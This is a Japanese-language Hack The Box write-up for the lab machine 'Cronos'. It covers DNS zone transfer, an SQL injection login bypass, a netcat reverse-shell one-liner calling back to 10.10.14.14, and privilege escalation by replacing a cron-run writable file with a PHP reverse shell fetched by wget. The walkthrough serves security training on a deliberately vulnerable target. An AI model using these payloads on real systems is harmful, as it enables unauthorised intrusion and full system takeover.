Hack The Box Writeup | Cronos

CronosはLinuxのマシンで、難易度はmediumです。

・使用ツール
nmap
dig

流れとしては、以下のようになっています。
1.digコマンドで、FQDN情報を確認
2.SQLインジェクションでログイン
3.コマンドでシェルを奪取
4.書き込み権限有りのファイルが、cronで実行されているのを確認
5.cronのファイルの中身をリバースシェルに書き換える

1.Enumeration

nmpaでオープンポートが、22,53,80であることを確認

nmapのデフォルトスクリプトエンジンを実行(-sC オプション)

dnsの逆引きをすると、ドメイン情報が分かる。hostsファイルに追加。

ゾーン転送を行うと、「admin.cronos.htb」のFQDNを確認できます。こちらもhostsに追記します。

「http://admin.cronos.htb/」にアクセスするとログイン画面が表示されます。

2.Exploitation

ログイン画面はSQLインジェクションの脆弱性があります。
「a’ OR 1=1 — -」を入力することでログインできます。

入力箇所に以下のコマンド入力することで、shellを奪取できます。
コマンドはpentestmonkeyのreverse-shell-cheat-sheetを参考

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 1234 >/tmp/f

3.Privilege Escalation

CLIを使いやすくします。

python -c  'import pty; pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo
fg

cronを確認すると、/var/www/laravel/artisanが記載されている。
「/var/www/laravel/artisan」はwww-dateにも書き込み権限があります。

「/var/www/laravel/artisan」の中身を、phpのリバースシェルに書き換えます。

phpリバーシェルのペイロードをコピーして、ip,portを変更します。

webサーバを立てます。

wgetでダウンロードします。

wget http://10.10.14.14:8000/php-reverse-shell.php

ファイルを上書きして待っていると、管理者権限でシェルが取得できます。